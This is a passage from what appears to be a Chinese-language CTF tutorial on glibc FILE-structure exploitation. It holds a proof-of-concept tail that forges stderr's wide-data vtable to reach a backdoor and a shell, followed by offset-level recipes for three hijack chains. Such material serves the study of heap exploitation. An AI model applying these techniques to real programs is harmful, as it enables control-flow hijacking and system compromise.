*(size_t *)(stderr2 + 0xa0) = (size_t)p1;

puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;

puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;

puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
  • 结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
exp ./test 
[*] allocate two 0x200 chunks
[*] puts address: 0x7fe29386f420
[*] libc base address: 0x7fe2937eb000
[*] _IO_2_1_stderr_ address: 0x7fe2939d85c0
[*] _IO_wstrn_jumps address: 0x7fe2939d3c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
$ whoami
yhellow

下面给出几条好用的调用链及其利用方式:

利用 _IO_wfile_overflow 函数控制程序执行流

1
_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • _flags = ~(2 | 0x8 | 0x800)
  • vtable = _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 的地址(加减偏移)
  • _wide_data = 可控堆地址A(即满足 *(fp+0xa0)=A
  • _wide_data->_IO_write_base = 0(即满足 *(A+0x18)=0
  • _wide_data->_IO_buf_base = 0(即满足 *(A+0x30)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足 *(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足 *(B+0x68)=C

利用 _IO_wfile_underflow_mmap 函数控制程序执行流

1
_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • _flags = ~4
  • vtable 设置为 _IO_wfile_jumps_mmap 地址(加减偏移)
  • _IO_read_end > _IO_read_ptr(不进入调用)
  • _wide_data 设置为可控堆地址 A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end(即满足*A>=*(A+8)
  • _wide_data->_IO_buf_base = 0(即满足*(A+0x30)=0
  • _wide_data->_IO_save_base = 0(即满足*(A+0x40)=0
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->doallocate = 地址C,用于劫持 RIP(即满足*(B+0x68)=C
  • PS:这条链执行的条件是调用到 _IO_wdefault_xsgetnRDX 寄存器不能为“0”

利用 _IO_wdefault_xsgetn 函数控制程序执行流

1
_IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)
  • _flags = 0x800
  • vtable = _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址(加减偏移)
  • _mode > 0(即满足*(fp+0xc0)>0
  • _wide_data = 可控堆地址A(即满足*(fp+0xa0)=A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr = 0(即满足 *(A+8)=*A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base(即满足*(A+0x20)>*(A+0x18)
  • _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B
  • _wide_data->_wide_vtable->overflow = 地址C,用于劫持RIP(即满足*(B+0x18)=C